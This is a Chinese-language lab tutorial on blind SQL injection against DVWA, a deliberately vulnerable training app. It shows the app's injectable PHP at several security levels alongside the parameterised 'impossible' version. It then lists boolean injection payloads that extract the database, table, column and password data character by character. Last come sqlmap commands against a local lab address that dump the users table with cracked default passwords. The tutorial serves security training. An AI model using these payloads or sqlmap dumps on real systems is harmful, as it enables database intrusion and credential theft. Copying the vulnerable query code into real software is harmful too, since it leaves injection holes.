DVWA 黑客攻防演練(九) SQL 盲注 SQL Injection (Blind)


上一篇文章談及了 dvwa 中的SQL注入攻擊,而這篇和上一篇內容很像,都是關於SQL注入攻擊。和上一篇相比,上一篇的注入成功就馬上得到所有用戶的信息,這部分頁面上不會返回一些很明顯的信息供你調試,就連是否注入成功也要自己判斷的,因此叫盲注。更值得留意的是盲注的思路


(盲注就讓我想起了。。。許昕,中國乒乓球國手+人民藝術家。然而他400°近視,日常帶眼鏡,打球反而不帶,球感遠超常人, 人稱大蟒世界第一盲打

要盲注的頁面往往是這樣的

沒有很具體的錯誤提示,只會提示用戶存在還是不存在
所以有時候攻擊會不知道注入成功與否,所以攻擊者有時會通過一些延時操作去判斷注入是否成功,比如 如果數據庫用的是 MySQL,會用 BENCHMARK 或者 SLEEP 函數。 這篇也和上一章一樣的,先介紹漏洞的注入點再介紹一些注入的思路

低級

界面就是上面那圖,代碼也和上一篇章的幾乎是一樣的,輸出只會是用戶存在還是不存在。

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

它這里也沒有做什么處理的。隨便注入都行的。

  • boolean 型,輸入 1' or '1' = '1
  • 注釋型, 1' or 1=1 #
  • union 型,比如輸入 ' UNION ALL SELECT NULL, database()#

但這樣的不知道有什么作用。若想知道如何利用這樣的注入點,你可以直接拉到最后看注入的流程

中級

中級就是變成下拉選擇了,所以要用 burp suite,或者火狐瀏覽器去改。比如用火狐瀏覽器。

而代碼中有 mysql_real_escape_string 對特殊字符等進行轉義,所以就用不了 ' 或 " 之類的符號,不過它這里的代碼 $id 是數字,也需要用 ' 符號。

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
}

下面展示用火狐的審查元素注入吧。這里明顯可以用1 or 1=1注入的,將 form 表單改成這樣即可。

高級

高級主要是和上面的主要區別是通過迷之cookies 傳參,還有個LIMIT 1 限制了條數,再有一個就是查詢失敗的時候會隨機 sleep。

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

和上一篇文章一樣,用注釋就能解決LIMIT 1的問題了。所以這樣就可以了。

不可能

不可能級別和上一篇類似

  • anti-token 機制防 CSRF 攻擊
  • 檢查 id 是不是數字
  • 使用 prepare 預編譯再綁定變量a
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
    // Get input
    $id = $_GET[ 'id' ];
    
    // Was a number entered?
    if(is_numeric( $id )) {
    // Check the database
    $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
    $data->bindParam( ':id', $id, PDO::PARAM_INT );
    $data->execute();
    
    // Get results
    if( $data->rowCount() == 1 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
    
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}
    
// Generate Anti-CSRF token
generateSessionToken();
    
?>

注入的流程

一般注入的流程可能會是這樣,概括起來可能就是劉歡的《千萬次地問》,這里用低級代碼嘗試。

數據庫的名字

這種頁面要知曉數據庫的名字也是挺麻煩,要不斷地去嘗試。

猜數據庫名的長度

1' and length(database()) = 2 #
1' and length(database()) = 3 #
1' and length(database()) = 4 #
...

用二分法猜數據庫的名字

其中 a是97,z是122

第一個字母在 a 到 m 之間嗎?

輸入 1' and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1)) <= 109 #

第一個字母在 a 到 g 之間嗎?

1' and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1)) <= 103 #

第一個字母在 a 到 d 之間嗎?

。。。

第一個字母是d嗎?

1' and ascii(substr(database(),1,1))=100 #

是的

第二個字母在 a 到 m 之間嗎?

1' and ascii(substr(database(),2,1))>=97 and ascii(substr(database(),1,1)) <= 109 #

不對 ...

一堆這樣的操作你就知道數據庫的名字是 dvwa 了。。。

所有表的名字

表的數量

數據庫有一個表嗎?

1' and (select count(table\_name) from information\_schema.tables where table_schema=database())=1 #

不對

數據庫有兩個表嗎?

1' and (select count (table\_name) from information\_schema.tables where table_schema=database())=2

對的,差點就三個(代)表了

第n個表的名長度

第1個表的名長度是1嗎?

1' and length(substr((select table\_name from information\_schema.tables where table_schema=database() limit 0,1),1))=1 #

第1個表的名長度是2嗎?

1' and length(substr((select table\_name from information\_schema.tables where table_schema=database() limit 0,1),1))=2 #

... 結果第一個表的長度是 9 。

第n個表的名字

再用二分法去找,要考慮有 _ 之類的特殊符號。。。

第一個表的第一個字母在 a~m 之間嗎?

1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))>=97 and  ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))<=109 #

。。。 最后可以得出 兩個表的名字叫 guestbook,users。

表字段名


針對 users表來說

表字段的數量

users 表有1個字段嗎?

1' and (select count(column\_name) from information\_schema.columns where table_name= 'users')=1 #

...

結果有 8個字段

第n個字段的長度

users 表第1個字段的長度是 1 嗎?

1' and length(substr((select column\_name from information\_schema.columns where table_name= 'users' limit 0,1),1))=1 #

... 第一個字段的長度是 7

第n個字段的名字

第一個字段名字是 user_id 嗎?

1' and substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1)='user\_id'

猜中了。。

第二個字段的第一個字母在 a~m 之間嗎?

1' and ascii(substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1,1)) >= 97 and ascii(substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1,1)) <=109 #

...
結果是 a

猜數據


用戶 admin 存在嗎?

1' and (select count(*) from users where user = 'admin') = 1 #

admin 密碼的第一位在 a~m 之間嗎?

1' and ascii(substr((select password from users where user = 'admin' limit 1),1,1)) >= 97 and ascii(substr((select password from users where user = 'admin' limit 1),1,1)) <= 109 #

...

SQLMap

千萬次地問,弄得人很煩的。還是用工具方便好,感謝自動化,感謝程序員。與上一篇文章類似。

獲取所有的數據庫

sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" --dbs

available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema

而我們比較感興趣的是,dvwa 數據庫。接下來想后去它的所有的表

獲取 dvwa 所有的表

sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa --tables

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

獲取users表的所有字段

這里比較慢可以用多線程加速 sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users --column --threads 10

Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+

獲取用戶及密碼信息

比如是 user 和 password sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users -C user,password --dump --threads 10 而且還問你是否要用密碼字典爆破,簡直優秀,結果如下。

Database: dvwa

Table: users
[5 entries]
+---------+---------------------------------------------+
| user    | password                                    |
+---------+---------------------------------------------+
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
| admin   | e10adc3949ba59abbe56e057f20f883e (123456)   |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM